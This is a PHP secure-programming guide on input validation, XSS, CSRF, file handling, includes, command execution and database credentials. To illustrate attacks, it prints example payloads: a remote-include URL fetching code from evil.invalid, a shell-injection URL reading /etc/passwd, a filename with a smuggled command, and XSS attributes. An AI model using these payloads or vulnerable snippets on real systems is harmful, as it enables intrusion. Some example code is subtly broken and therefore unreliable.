

Secure Programming in PHP

secologic Project

Created by:

EUROSEC GmbH Chiffriertechnik & Sicherheit

Sodener Strasse 82 A, D-61476 Kronberg, Germany

Index of Content

1	Introduction	4
2	General User Input Handling.....	6
2.1	Filtering Input.....	6
2.2	Magic Quotes	8
2.3	Register Globals.....	9
2.4	Cross-Site Scripting.....	11
2.5	Cross-Site Request Forgeries.....	13
3	File Handling.....	15
3.1	Directory Traversal	15
3.2	Remote Files.....	16
3.3	File Upload	17
4	Include Files	20
4.1	Source Code Exposure.....	20
4.2	Code Injection	22
5	Command Handling.....	24
5.1	PHP Command Execution.....	24
5.2	Shell Command Execution.....	24
6	Databases.....	26
6.1	Access Credential Exposure	26
6.2	SQL Injection.....	27
7	Sessions	30
7.1	Access Control.....	30
7.2	Session Hijacking.....	30
7.3	Session Fixation.....	32
7.4	Exposed Session Data	33
8	General PHP Interpreter Configuration.....	34
8.1	Error Reporting	34
8.2	Debugging Information	35

8.3	Safe Mode.....	36
9	Summary.....	38
10	References.....	39
11	Check Lists.....	40

1 Introduction

PHP stands for “PHP: Hypertext Preprocessor” and is a popular Open Source scripting language. It is mainly aimed at developing web applications and dynamic web content. Therefore it can easily be embedded into HTML pages. Similar systems are Microsoft’s ASP.NET and JSP from Sun Microsystems. Additional competitors are Macromedia ColdFusion and the application server Zope based on the Python scripting language.

The focus of this paper is on secure programming practices in PHP. The secure configuration of both the web server and the PHP interpreter are not within the main scope of this document. However, such topics are addressed wherever they affect the programmer. For example, administrators wish to turn off certain features of the PHP interpreter in order to secure the system. To allow such hardening measures it is important that these features are not used by the PHP developer.

PHP as a programming language is easy to learn and easy to use. This is also the reason for its popularity. Unfortunately, PHP does not only make it easy to write applications, it also comes with certain features that make it easy to write insecure code.

This paper gives guidelines on how to avoid dangerous language constructs and features. Moreover, it gives instructions on how to perform proper security checks that help to defend against common attacks. Each section deals with a specific security problem or function group and is accompanied by a list of recommendations. These recommendations can be used as a checklist during the development phase and for security assessments.

The general outline of the paper is as follows:

- **General User Input Handling:** This section deals with general aspects of how to handle user input. How to filter and validate it, so it does not contain any malicious data.
- **File Handling:** This section covers security aspects related to file handling. For example, it gives details on how PHP handles access to files on remote systems and the associated risks.
- **Include Files:** The PHP include statement allows programmer to include the contents of other files into a script. This section mainly takes care of the risks that the contents of these include files is exposed to attackers and the risk that attackers exploit improper usage of the include statement for injecting their own code.
- **Command Handling:** This section deals with security aspects related to commands that are passed to and are executed by the system shell.
- **Databases:** Typical security issues of database systems like SQL injection attacks are part of this section.
- **Sessions:** Information about how to properly use the PHP session functions constitutes this section.
- **General PHP Interpreter Configuration:** Finally, this section adds information on general configuration options of the PHP interpreter. Especially important are the instructions on how to configure and use PHP’s error reporting functionality.

Besides the recommendations in the specific sections, the following guidelines apply throughout the paper: Consider illegal use of your application. During the development phase think about ways to bypass restrictions and misuse functionality. All user input must be mistrusted and thoroughly checked. Use library function when they exist instead of writing your counterparts. Chances are that the library functions are reviewed by many people and that they contain less errors than a custom function that serves the same purpose. This is especially true when it comes to encryption algorithms.

2 General User Input Handling

2.1 Filtering Input

User input cannot be trusted. Malicious user can always supply the application with unexpected data. As such malformed input data can cause undesired application actions, it is important to filter all user input and validate that it matches the intended patterns.

In the context of PHP applications, typical user input are URL parameters, HTTP post data, and cookie values. PHP makes these user input values available for the application via the following global arrays:

- `$_GET` – data from get requests
- `$_POST` – post request data
- `$_COOKIE` – cookie information
- `$_FILES` – uploaded file data
- `$_SERVER` – server data
- `$_ENV` – environment variables
- `$_REQUEST` – combination of GET, POST, and COOKIE

If the feature Register Globals is turned on, PHP also creates global variables for the contents of the above arrays. It is strongly recommended to turn this feature off, however if it is turned on, the values of these global input variables must be treated as user input too. See section 2.3 for more information about Register Globals.

Depending on the scenario, it might be necessary to consider data from sources like files or databases as user input too. This might for example be necessary if the application fetches data from third party databases.

In order to ensure that all user input is filtered before it is used in the application, it is advisable to adhere to the following guidelines:

- Use variable names that make clear whether the contained user input is already validated or not. For example store the filtered data in variables with the prefix “clean_”.
- Make sure that the application exclusively use these clean variables for accessing user input. Especially input arrays like `$_GET` should never be used as input for any function other than validation functions.
- Always initialize all clean variables. Otherwise attackers might be able to write their own values into these variables if the Register Globals feature is turned on. That way it would be possible to bypass any filtering mechanisms.

Moreover, the global array `$_REQUEST` should not be used for accessing user input. It hides the source of its contents. Scripts accessing data from `$_REQUEST` cannot determine whether this data originates for example from server environment variables, GET requests or POST requests. This knowledge is sometimes necessary in order to determine what kind of filtering is necessary.

Useful tools for validating user input are PHP's cast operators. They convert the data type of variable values. As all user input to PHP scripts is supplied as string, these operators can be used for converting input parameters to their destination type. The following cast operators are the most useful with respect to filtering user input:

- `(int)`, `(integer)` – cast to integer
- `(bool)`, `(boolean)` – cast to boolean
- `(float)`, `(double)`, `(real)` – cast to float
- `(string)` – cast to string

Other useful functions are the character type functions. They check for example whether a string consists of only alphanumeric characters. PHP provides various of these functions that check for different character classes. The following list contains especially useful examples with respect to input filtering:

- `ctype_alnum()`
- `ctype_alpha()`
- `ctype_digit()`

More specialized methods for validating user input are presented in the following sections of this paper.

Recommendations:

- Do not trust user input. Validate it carefully.
- Access user input only via the global arrays `$_GET`, `$_POST`, etc.
- Use a dedicated naming convention for variables that contain the filtered input.
- Make sure only these variables are used for accessing user input throughout the application. Filtering functions should be the only exception.
- Always initialize all variables that store clean user input.
- Use cast operators for converting user input to the desired type.

2.2 Magic Quotes

Magic Quotes is a feature of the PHP interpreter. It can be turned on and off via PHP interpreter directives. If turned on, it automatically escapes special characters in all HTTP request data (GET, POST, and COOKIE). Special characters in this case are single quotes ('), double quotes ("), backslashes (\) and NULL characters. The characters are escaped by prefixing them with a backslash character. The performed action is equivalent to what the function `addslashes()` does.

The intention behind this option is to prevent attacks based on missing input validation. The way it escapes the input is especially aimed at preventing SQL injection attacks. See section 6.2 for more information. However, from a security perspective there are two problems with Magic Quotes:

- Magic Quotes does not make input validation superfluous. The escaping performed by Magic Quotes is not enough to prevent all kinds of attacks. It is dangerous if developers feel they are on the safe side as long as Magic Quotes is turned on and solely rely on Magic Quotes for input validation without performing any additional checks.
- The second security problem with Magic Quotes is that if the application relies on Magic Quotes for input checking, the security of the application depends on the configuration of the PHP interpreter. If Magic Quotes is turned off, this application will most probably have exploitable problems.

Security concerns aside, there are additional problems with Magic Quotes. It costs performance as it escapes all input, including data that does not need to be escaped. In addition, the undifferentiated escaping may lead to excessive use of `stripslashes()` in order to undo the effect of `addslashes()` whenever the raw input is needed. This is necessary for example if more advanced escaping function should be applied to the data.

To make things worse, developers must always check whether Magic Quotes is turned on or off. If the wrong setting of Magic Quotes is assumed, the result is either an exploitable application or unwanted slashes in string because of double escaping.

So, the recommendation is: Do not use Magic Quotes. Instead use specialized functions for input validation and escaping where they are necessary.

By default the Magic Quotes feature is turned on for all PHP versions, however the recommended settings for PHP 5 set it to off. The following line in `php.ini` turns Magic Quotes off:

```
magic_quotes_gpc = off
```

Turning off Magic Quotes at runtime via `ini_set()` is not possible. But in order to write portable code that is independent of the PHP configuration it is possible to check whether Magic Quotes is turned on and undo its effect if necessary. The PHP manual offers the following code to accomplish this¹:

```
if (get_magic_quotes_gpc()) {
    function stripslashes_deep($value)
    {
        $value = is_array($value) ?
            array_map('stripslashes_deep', $value) :
```

¹ <http://www.php.net/manual/en/security.magicquotes.disabling.php>

```
        stripslashes($value);
    return $value;
}

$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
}
```

Recommendations:

- Turn off Magic Quotes.
- Do not rely on Magic Quotes for input validation. Perform customized checks and make use of specialized escaping functions.
- Check for Magic Quotes and undo its effects in order to write portable code.

2.3 Register Globals

The PHP interpreter comes with a feature named Register Globals. It can be turned on and off via PHP interpreter directives. If this feature is turned on, the PHP interpreter pushes environment and request variables into the global namespace. It creates global variables for all variables from the environment, HTTP GET and POST requests, cookies, and server environment.

The intention behind the Register Globals feature was to provide a shortcut for accessing variables from outside PHP. The alternative method is to access them via so called superglobal arrays. Superglobal means they are available in all scopes of a script. Prior to version 4.1.0 of the PHP interpreter, these arrays had rather long names like `$HTTP_GET_VARS`, so a shortcut was desirable. However since PHP 4.1.0 these superglobal arrays use shorter name like `$_GET` in order to make the Register Globals feature superfluous. As of PHP 4.2.0 Register Globals is turned off by default. However, many installations still turn this feature on for compatibility reasons.

From a security perspective there are two major problems with the Register Globals feature:

- The first problem is that the Register Globals feature mixes user provided variables and values with environment variables and internal program variables. This makes it harder for programmers to distinguish what variables actually contain user input and must be validated and what variables contain trusted internal data that can be used without further checks. In general the source of data in global variables is not clear with Register Globals turned on. So, Register Globals is counterproductive with respect to input validation.
- The second problem arises in combination with the fact that PHP allows usage of uninitialized variables. If a script accesses variables without initializing them first, an attacker can misuse the Register Globals feature to initialize these variables with his own values.

The latter problem is illustrated by the following example code from the PHP manual²:

² <http://www.php.net/manual/en/security.globals.php>

```
if (authenticated_user()) {
    $authorized = true;
}

if ($authorized) {
    include "/highly/sensitive/data.php"
}
```

If the user is not authenticated, the variable `authorized` is not initialized before it is read in the second if-statement. If Register Globals is on, an attacker can use the following request to access the included page:

```
http://www.example.com/script.php?authorized=true
```

With this request the Register Globals feature causes the PHP interpreter to create a global variable with the name `authenticated`. The value of this variable is set to `true`. This variable is then accessed in the second if-statement. The value is `true`, the include statement is executed, the attack is successful. Similar problems can arise with each variable that is accessed without initializing it first.

Because of the potential problems it might cause, it is advised strongly to turn off the Register Globals feature. In the `php.ini` configuration file it can be turned off with the following entry:

```
register_globals off
```

A way to turn off the Register Globals feature at runtime does not exist.

Besides turning the feature off, the Register Globals problem leads to two important recommendations:

- Applications should not make use of the Register Globals feature by all means in order to allow the administrator of the target machine to turn this feature off for security reasons. User input must only be accessed via superglobal arrays such as `$_GET`, `$_POST`, etc.
- Variables should always be initialized before they are first accessed. Whenever uninitialized variables are accessed PHP issues an error of the error level `E_NOTICE`. Make sure these messages are logged in order to find uninitialized variables. Section 8.1 gives details on how to configure error reporting.

If the developer cannot be sure that Register Globals is turned off on all target systems it is advisable to consider two options. One possibility is to check whether Register Globals is turned on right at the beginning of each script and exit immediately if it is on:

```
function exitOnRegisterGlobals() {
    if (ini_get("register_globals")) {
        exit("Turn off Register Globals!");
    }
}
```

The other option is to call a function that reverses the effect of Register Globals right at the beginning of each script. In its FAQ section, the PHP Manual offers such a function³:

```
function undoRegisterGlobals()
{
    if (!ini_get('register_globals')) {
```

³ <http://www.php.net/manual/en/faq.misc.php#faq.misc.registerglobals>

```

        return;
    }

    // Might want to change this perhaps to a nicer error
    if (isset($_REQUEST['GLOBALS']) ||
        isset($_FILES['GLOBALS'])) {
        die('GLOBALS overwrite attempt detected');
    }

    // Variables that shouldn't be unset
    $noUnset = array('GLOBALS', '_GET',
                    '_POST', '_COOKIE',
                    '_REQUEST', '_SERVER',
                    '_ENV', '_FILES');

    $input = array_merge($_GET, $_POST,
                        $_COOKIE, $_SERVER,
                        $_ENV, $_FILES,
                        isset($_SESSION) &&
                            is_array($_SESSION) ?
                            $_SESSION : array());

    foreach ($input as $k => $v) {
        if (!in_array($k, $noUnset) &&
            isset($GLOBALS[$k])) {
            unset($GLOBALS[$k]);
        }
    }
}

```

Recommendations:

- Turn off Register Globals.
- Do not make use of the Register Globals feature in your code. Allow administrators of the target machine to turn it off.
- Always initialize all variables. Turn on logging off E_NOTICE errors in order to spot the use of uninitialized variables.
- Right at the beginning of each script, check whether Register Globals is turned on. If this is true either terminate the script or undo the effects of Register Globals.

2.4 Cross-Site Scripting

With Cross-Site Scripting an attacker injects content, in most cases JavaScript code, into web pages. When a user visits such a manipulated web page, his browser displays all injected content and executes all injected JavaScript code. Neither the browser, nor the user can detect such manipulations. There are two common ways to inject content:

- One possibility for injection is when scripts render the content of some of their URL parameters into the web page. An attacker can craft URLs that inject malicious content into the page and entice a user to click on such a link. Often sending a mail containing the link in combination with some social engineering is enough to accomplish this.
- The second way for injecting content is when web sites accept user input, for example via forms, save this input and include into web pages that are accessible by other users. A popular example are web-based bulletin boards.

So, in order to prevent such injection attacks, applications must filter all user input that will be included in the rendered output. The potential damage of successful Cross-Site Scripting attacks includes password theft, session hijacking, and user tracking by third parties. Moreover and attacker can inject offending content into a web site in order to damage the reputation of the site owner. For information on the general topic of Cross-Site Scripting see [FIXME: reference to XSS paper]. The remainder of this section deals with the PHP-specific aspects of this topic.

Filtering user input with respect to Cross-Site Scripting basically means to remove malicious HTML tags and JavaScript. The most secure approach is to disable all HTML tags in the input. This can happen by either parsing the input and removing all tags or by converting all HTML special characters into their corresponding HTML entities. Converted to entities special characters are not parsed as HTML code anymore, they are simply rendered as is by the web browser.

PHP offers the following functions for removing HTML tags:

- `htmlspecialchars()` – Converts the HTML special characters `&`, `<`, `“`, and `>` into their HTML entities.
- `htmlentities()` – Substitutes HTML entities for all characters that have one.
- `strip_tags()` – Strips all HTML tags. Takes an optional list of tags to exclude from stripping.

When specifying an exclusion list for the `strip_tags()` function, it is important to validate the remaining tags carefully. This is because even seemingly harmless tags can have attributes that contain malicious data. So it is not enough to filter for obviously dangerous tags like this:

```
<script>alert('JavaScript!')</script>
```

Seemingly harmless tags like the paragraph tag `<p>` can have several malicious attributes. For example there are attributes that define JavaScript for certain events. Another possibility is to track users by adding a reference to an background image from an external site to such a seemingly harmless tag. The following are examples of such constructs:

```
<p onmouseover="alert('JavaScript!')">Some text</p>
<p style="background:
  url(http://www.example.com/tracker.gif)">Some test</p>
```

As `strip_tags()` only processes tags as whole, the remaining tags must be sanitized by custom functions that remove all such malicious attributes. A better alternative to custom tag and attribute functions is to define custom tags for user input. A popular example are bulletin boards that use tag replacements like `[b]` and `[i]` for markup in user input. These custom tags are then substituted by their HTML counterparts during the rendering process.

The following code excerpt gives an example of how such a conversion function might look like. Note that all HTML tags are stripped before substituting the custom tags:

```
function translateCustomTags(input)
{
    $input = strip_tags($input);
    $customTags = array("[b]", "[/b]", "[i]", "[/i]");
    $htmlTags = array("<b>", "</b>", "<i>", "</i>");
    return str_replace($customTags,
                      $htmlTags,
                      $input);
}
```

When allowing links in the user input make sure to use a white list for allowed protocols. For example use a white list that allows the following protocols:

```
http:
https:
ftp:
```

Examples for dangerous link protocols are:

```
javascript:
vbscript:
```

As it is impossible to know what kind of protocols browsers support and whether they must be considered dangerous or not, always use a white list approach and only allow protocols that are known to be safe.

Recommendations:

- Replace all HTML special chars with their corresponding HTML entity. Use the functions `htmlspecialchars()` and `htmlspecialchars_decode()` to accomplish this.
- As an alternative HTML tags can be removed altogether. Use the `strip_tags()` function for this task. If possible do not exclude any tags from being stripped from the input.
- If some markup should be allowed in user input, consider the definition of custom tags. Replace them with their HTML counterparts after stripping all HTML tags from the input.

2.5 Cross-Site Request Forgeries

Another attack that is aimed at the client browsers are Cross-Site Request Forgeries also called form automation attacks. These attacks cause users to inadvertently submit forms with data of the attackers choosing. Consider a web-based user management front-end. Users are created with the following URL:

```
http://www.example.com/adduser.php?name=smith&passwd=secret
```

Now, an attacker includes a request to this URL into a web site. This can be done for example by including JavaScript code or by specifying the URL as source for an embedded image. When the victim visits this page, his browser will request the adduser URL. If the user is currently logged into the user management application, it will create a new user with the name smith and the password secret.

There are two variants where the attacker places his hidden request:

- From an attacker perspective the best variant is to hide the request somewhere within the target application. For example in a bulleting board message. That way he can make sure that his victim is logged into the target application when the hidden request is triggered.

- An alternative is to hide the request in a page outside the target application. This page can even be on a different web site. For a successful attack, it is enough when the victim is logged in to the target application within another browser window. Promising targets for this kind of attack are all applications where the user stays logged in for a long period of time while he does other work. Examples are web mailers or bulletin boards.

A developer can take the following actions in order to defend his users against such attacks:

- Use POST instead of GET requests for triggering actions.
- Access the submitted data only via the `$_POST` array to ensure that their origin is a POST request. Using the POST method is useless when the data is accessed via variables generated by Register Globals or via `$_REQUEST`.
- Use hidden form fields with random tokens to make sure that the request originates from within the application.

Substituting the random token with checks of the referrer value has two drawbacks. First of all the referrer value can be manipulated with JavaScript. The second drawback is that some browsers allow their users to turn off referrers. An application that depends on correct referrers for its security checks will exclude these users.

Recommendations:

- Use POST instead of GET requests where applicable.
- Enforce the usage of POST requests by accessing the input via the `$_POST` array. Do not use Register Globals variables or the `$_REQUEST` array.
- Include hidden fields with random tokens in your forms.

3 File Handling

3.1 Directory Traversal

PHP offers various functions that operate on files. As these functions allow potentially dangerous actions, any user input to these functions must be thoroughly checked. The following lists examples of functions that operate on files:

```
fopen, popen, opendir, readfile, chmod, dirname, file,
flock, fpassthrough, fwrite, fread, link, mkdir, readlink,
rename, rmdir, tmpfile, touch, unlink
```

When an application allows its users to perform file operations it usually wants to check if the specified file name and path conforms to certain restrictions. For example the application wants to ensure that that file operations are only permitted within a predefined directory tree.

Simply checking if the provided pathname begins with the desired base directory is not enough in such a case. An attacker might use constructs like “./”, “../”, extra slashes, or symbolic links in order to bypass such simple checks. Moreover, parts of the pathname might be encoded. For example “../” can be represented as “%2e%2e%2f”.

As an example, imagine the following insufficient code for checking whether the provided path is within the public directory:

```
function insufficientBaseDirCheck($basedir, $inputpath)
{
    if (strncmp($basedir,
                $inputpath,
                strlen($basedir)) == 0) {
        return true;
    } else {
        return false;
    }
}
```

Imagine further the following input values:

```
$basedir = "/some/path/public_directory/"
$inputpath = "/some/path/" .
            "public_directory/../secret_directory/secfile.txt"
```

The return value of the function `insufficientBaseDirCheck()` will be true, even though the user input actually refers to the following path:

```
/some/path/secret_directory/secfile.txt
```

In order to prevent such pitfalls, it is advisable to use the PHP function `realpath()` before checking whether a path meets the defined criteria. The function `realpath()` expands its argument to its canonical name. Links to “./”, “../”, extra slashes, and symbolic links are expanded and removed.

Moreover, when analyzing path and file names the PHP functions `basename()` and `dirname()` provide valuable services. They extract the filename and the directory name from a path respectively.

The following code excerpt shows the definition of an improved version of the `insufficientBaseDirCheck()` function.

```
function improvedBaseDirCheck($basedir, $inputpath)
{
    $real_inputpath = realpath($inputdir);
    $inputdir = dirname($real_inputpath);

    if (strncmp($basedir,
                $inputdir,
                strlen($basedir)) == 0 {
        return true;
    } else {
        return false;
    }
}
```

Before performing the actual comparison, the above function normalizes the input path with help of `realpath()` and extracts the directory name portion of the path with the `dirname()` function.

Recommendations:

- Filter all input to file operation functions.
- If possible build a list of allowed file names, for example by listing the content of the working directory.
- Apply `realpath()` to all user provided pathnames before checking whether they meet defined restrictions or not.
- Use the functions `basename()` and `dirname()` for extracting the filename or directory name from a path.

3.2 Remote Files

By default all file open commands can transparently operate on remote files. Both HTTP and FTP URLs can be passed to file open functions. They get handled as if they were local files. It is advisable to turn this function off as it may allow attackers to load their own files into the application if user input is passed to file open functions without proper input validation.

Especially risky is access to remote files in combination with the `include` statement and its variants. If unvalidated input is passed to these statements, an attacker can load his own code into the application and execute it. See also section 4.2 for more information about `include` statements. The following statement is an example of such extremely dangerous code:

```
include $_GET['function'];
```

The transparent handling of remote files in file open commands can be turned off with the following line in the `php.ini` configuration file:

```
allow_url_fopen = off
```

A way to change this setting at runtime does not exist for security reasons.

When an application needs to access remote files, it is recommended to use specialized libraries like Curl for that purpose. This allows administrators to set `allow_url_fopen` to off. Moreover, it makes it more obvious that the relevant code section handles remote files. This helps when verifying that all user input to functions that handle remote files is validated properly.

Recommendations:

- Turn off transparent handling of remote files.
- Use functions from specialized libraries like Curl for accessing remote files.

3.3 File Upload

PHP offers the possibility to accept file uploads via HTML form and POST request. Most of the upload process is handled automatically by the PHP interpreter. It accepts the uploaded file, stores it in a temporary directory, gives it a random name, and passes all important information to the responsible script.

For accessing the information about the uploaded files, two methods exist. The current method is relatively safe. On the other hand there is also a legacy method that is dangerous and should not be used anymore.

With the currently preferred method all data about the uploaded files is offered in the array `$_FILES`. For each uploaded file it contains the following information:

- `name`
- `type`
- `tmp_name`
- `size`
- `error`

The contents of the first two variables must be considered user input. They contain the original name of the file on the client machine and the content type of the uploaded file. Both values are provided by the client.

Especially the original filename must be carefully validated as it is potentially used in file operations. Depending on where this value is used an attacker might for example be able to expose local files or inject shell commands. However, at least the risk of simple directory traversal attacks is mitigated as PHP apparently strips all directory parts from filenames. So simply providing the string `../../../../etc/passwd` as filename does not lead to a successful attack.

Nevertheless, all filenames should still be validated independently of any internal PHP behavior. Especially as the directory stripping behavior of current PHP interpreters is not documented and might change in future versions. Moreover, the current behavior of the PHP interpreter does not prevent other attacks than simple directory traversal attempts. For example it is possible to use submit the following filename:

```
somefile.txt; cat someotherfile.txt
```

If this filename is passed to a system shell without further validation, the part after the semi-colon is executed as separate command.

The fact that the content type variable contains user input must be considered when filtering uploaded files. If an application for example only permits upload of plain text files it is not sufficient to check the submitted content type. An attacker could easily transmit the content type `text/plain` while the file is actually a PHP script. So, when filtering uploaded files for their content type the user-provided content type must be ignored as it can easily be manipulated.

The content of the other variables originates from within the PHP interpreter. They contain the name of the temporary file the uploaded file was saved in, its size, and an error code. From an attacker perspective it would be desirable to find a way to manipulate the value of the `tmp_name` variable. However, there is currently no known way for a client to manipulate this value.

Completely different is the situation with the old legacy method for accessing information about the uploaded file. It depends on the Register Globals feature that generates four global variables that contain all necessary information. When the upload form uses an upload name “userfile”, PHP will create the following global variables:

- `$userfile`
- `$userfile_name`
- `$userfile_size`
- `$userfile_type`

The variable `$userfile` contains the name of the temporary file. The other variables contain the original file name, the file size and the content type. As Register Globals is turned on when using this method, an attacker call the script without uploading a file but with a URL parameter that sets `$userfile` to an arbitrary value:

```
http://www.example.com/upload.php?userfile=/etc/passwd
```

The only way to detect such manipulations is to use a special PHP function that can check whether its parameter really is an uploaded file. For the common task of moving the uploaded file there is another PHP function that incorporates this check. The functions are:

- `is_uploaded_file()`
- `move_uploaded_file()`

These functions can also be used with the current method for accessing information about the uploaded file. It provides an additional safeguard against potential future attacks.

In consequence of this manipulation possibility the legacy method for accessing information about uploaded files should not be used anymore. If it is used anyway, the application should at least use the function `is_uploaded_file()` in order to check for manipulations of the name of the temporary file.

Another important aspect is the placement of uploaded files. If the usage scenario allows it, they should be placed outside the document root of the web server. If the application demands that the files are world accessible, it is important to restrict the allowed file formats. Especially PHP scripts must not be stored anywhere inside the document root where they are accessible and where they will be executed. Moreover uploaded HTML files should not be accepted because they can contain JavaScript that can be used to perform Cross-Site Scripting attacks.

If the file upload functionality is not needed it can be turned off altogether. Moreover it is possible to limit the file size of uploads via configuration options:

```
file_uploads = off
upload_max_filesize = 2M ; Sets the limit to 2 MegaByte.
                        ; Adjust this value as needed.
```

It is advisable to use these options for restrictions as far as the application allows.

Recommendations:

- Use the `$_FILES` superglobal array for accessing information about uploaded files. The legacy approach of using any global variables set by Register Globals is dangerous and should not be used.
- If the legacy method is used anyway, the function `is_uploaded_file()` should be used for checking if the name of the temporary file is manipulated.
- The name of the uploaded file is user input. Either ignore it or validate it properly before using this name for saving the uploaded file.
- The content type of the uploaded file is user input. Ignore it when filtering certain file formats.
- If possible, store uploaded files outside of the document root.
- If the files must be located within the document root, restrict the allowed file formats. Filter especially PHP scripts and HTML files that may contain JavaScript.
- Deactivate file upload if it is not needed.

4 Include Files

The PHP language comes with a statement for including the contents of other files. If these files contain PHP code, this code is executed as if it stands at the position of the include statement. Include files are typically used for three purposes:

- For defining library functions
- For storing application configuration options
- For storing output fragments like menu bars, page headers and footers.

There are two main security risks associated with the usage of library files. The first risk is that an attacker finds a way to access the source code of library files. The second risk is that an attacker misuses the include function for injecting arbitrary code into the application. The following two sections present details about these two risks.

4.1 Source Code Exposure

It is common practice to use other filename endings for include files than for normal PHP files. A popular ending for include files is `.inc`. The problem with this practice is that without additional measures the source code of these include files is usually available to the users. A simple HTTP request for a include file returns the complete source code of the file as it is not parsed by the PHP interpreter. It is delivered by the web server like any other text file. Especially problematic is the case where these include files contain access credentials to database systems or similar sensitive information.

There are three solutions for this problem:

- The best solution is to place include files out of the document root of the web server.
- The second solution is to prevent the delivery of include files within the web server configuration.
- The third solution is to use the `.php` ending for include files. That way they are parsed and executed by the PHP interpreter before they are delivered to the user. While this prevents direct source code exposure, it opens new problems that are discussed below.

Placing all include files outside of the web server's document root is by far the best solution. However this is a measure that can only be taken by administrators during application deployment. However, it is the responsibility of the developers to make it possible to place these files in user-specified directories. They should never hard-code the path to these files as this would deny administrators this valuable security measure.

The only drawback of this solution is that it is not always possible to place these files outside of the document root. Especially in shared hosting environments, users often do not have access to directories outside the document root at all.

Denying the delivery of include files via the web server configuration is the second best option. If all include files use a dedicated file ending, like for example .inc, special web server directives can prevent the delivery of these files. For the Apache web server the delivery of files with the ending .inc can be prevented with the following configuration directive:

```
<Files ~ "^.*\.inc$" >
    Order allow,deny
    Deny from all
</Files>
```

Again, this is a security measure that can only be taken by administrators during application deployment. However, developers should enable administrators to deny the delivery of include files by using special name patterns. Administrators should be able to easily match these patterns with regular expressions.

For both solutions it is important that the installation manual stresses the fact that certain files need protection, that it lists these files, and that it gives hints about how to accomplish this protection.

The only solution that is directly under the control of developers is to use the .php ending for include files. While it effectively solves the problem of exposed source code, it introduces new problems. First of all, the include files might generate output. In this case it is possible to gain access to this output. Whether this is a security problem depends on the disclosed contents.

The second problem is that include files can contain function calls. If include files are given the ending .php they can be executed out of their usual context. The result of this execution is undefined and might introduce security problems. So using the .php ending for include files is only an option if include files are used for classic library purposes. That means the include files may only contain definitions of constants and functions. They must not produce any output and they must not execute any function calls.

Moreover, also if the ending .php is used, the include file nature should be visible from the filename. The ending .inc.php is a good choice.

Recommendations:

- Include files should be placed outside of the document root. Developers should facilitate this by making the location of include files configurable. The installation manual should list all files that need protection.
- The web server configuration should prevent the delivery of files matching the name pattern of include files as fallback solution or additional protection. Developers should facilitate this by using special name patterns for include files. The installation manual should list all files that need protection and the used name pattern.
- Using the ending .php for include files should only be considered if the included files contain only function definitions and no function calls. The chosen filenames should still make the include file nature obvious.

4.2 Code Injection

PHP offers statements for including other source files into the current script. The content of the specified file is executed at the position where the include statement is called. As the contents of the specified file is executed on the server it is dangerous if the decision what file to include is based on user input.

Under no circumstances must any user input be passed to an include statement without proper input validation. This would allow an attacker to include and execute files of his choosing. This is especially dangerous if the PHP interpreter configuration allows access to remote files within file operations. In such a case an attacker can even load his own code into the application. To prevent this worst case it is advisable to turn off the transparent handling of remote files by setting `allow_url_fopen` to off. See also section 3.2 for more information about this setting.

The following statements are used for including include files:

- `include`
- `include_once`
- `require`
- `require_once`

Whenever the parameter of any of these statements depends on user input careful validation is necessary. Imagine an application where parts of the output page are included from a separate file that is passed as an URL parameter. The responsible script contains the following line:

```
include $_GET['include_file'];
```

Usually the script is called with an URL like this:

```
http://www.example.com/script.php?include_file=index.inc
```

However, an attacker might use the following URL to load arbitrary code into the application and execute it:

```
http://www.example.com/script.php?include_file=
http%3A//evil.invalid/attack_script.php
```

A save solution for input filtering in this case is to maintain a white list of allowed parameters so that the user input only contains the list index. The following code snippet shows a simple example of such a white list approach:

```
switch ($_GET['index']) {
case 1:
    include "file1.inc";
    break;
case 2:
    include "file2.inc";
    break;
}
```

The accompanying URL looks like this:

```
http://www.example.com/script.php?index=1
```

An attacker can still manipulate the input, but the script will ignore any input that is out of the index range.

Recommendations:

- Validate user input before using it in include statements. If possible use white list of allowed file names and take only an index as user input.
- Turn off transparent handling of remote files (`allow_url_fopen`).

5 Command Handling

5.1 PHP Command Execution

Some functions interpret their parameters as PHP code and execute it. Examples for such functions are:

- `eval()`
- `assert()`
- `preg_replace()`
- `call_user_func()`
- `call_user_func_array()`

Using such functions in combination with user input is strongly discouraged. If somehow possible user input should never be passed to such functions. In most cases there is a safer way to provide the same functionality without using such functions at all. If it is really necessary to pass user input to these function paranoid filtering is mandatory.

Recommendations:

- Do not use functions that execute their input as PHP code in combination with user input. There is most probably a safer alternative.
- If a replacement is not possible, properly filter the input.

5.2 Shell Command Execution

PHP offers several ways to execute external programs and commands via the system shell. Examples of such function are:

- `exec()`
- `passthru()`
- backticks operator (```)
- `system()`
- `popen()`

Whenever user input is passed to such functions it must be properly validated. Otherwise attackers can execute arbitrary commands with the rights of the PHP interpreter. In most cases, when the PHP interpreter is configured as Apache module this is the technical user of the web server. The following code snippet illustrates the problem:

```
<?php
echo '<pre>'
passthru("traceroute {$_GET['destination']}")
echo '<pre>'
?>
```

Due to missing input validation the following URL injects a command that outputs the password file of the server:

```
http://www.example.com/traceroute.php?
destination=127.0.0.1;cat%20/etc/passwd
```

It uses the semicolon to concatenate two commands. PHP provides two functions that can be used for input filtering in such cases:

- `escapeshellcmd()`
- `escapeshellarg()`

The first is used to escape whole shell commands, the second is used for escaping strings that will be used as arguments in shell commands. These functions should be used whenever user input is executed as shell command.

Recommendations:

- Use the PHP functions `escapeshellcmd()` and `escapeshellarg()` for escaping user input that is passed to functions that execute it as a shell command.

6 Databases

Databases often contain sensitive data, so it is important to protect against unauthorized access to this data. The following sections deal with protection measures that help to mitigate this risk.

6.1 Access Credential Exposure

PHP scripts need access credentials for accessing databases. In most cases they consist of hostname, username, and password. These access credentials must be stored in a way that they are not publicly accessible.

An approach that is as popular as it is dangerous is to define constants with the necessary values in a file like `db.inc`. This file is then included into the PHP script with the `include` statement. Without any additional measures this file is publicly accessible in clear text. It is even possible to find such files automatically. The following Google request returns URLs that include the string “`db.inc`”:

```
http://www.google.com/search?q=inurl%3Adb.inc
```

If storing access credentials in an include file, at least the usual measures for securing these files must be taken. They should be placed out of the document root of the web server and the web server configuration should prevent the delivery of files with the used ending. See section 4.1 for more information on this topic.

However, there is another approach for storing database access credentials. When using Apache as web server, the credentials can be stored in a file that only root can read. For example a file with owner root and permissions of 0600 can contain the following `php.ini` directives:

```
php_admin_value mysql.default_host = hostname
php_admin_value mysql.default_user = username
php_admin_value mysql.default_password = password
```

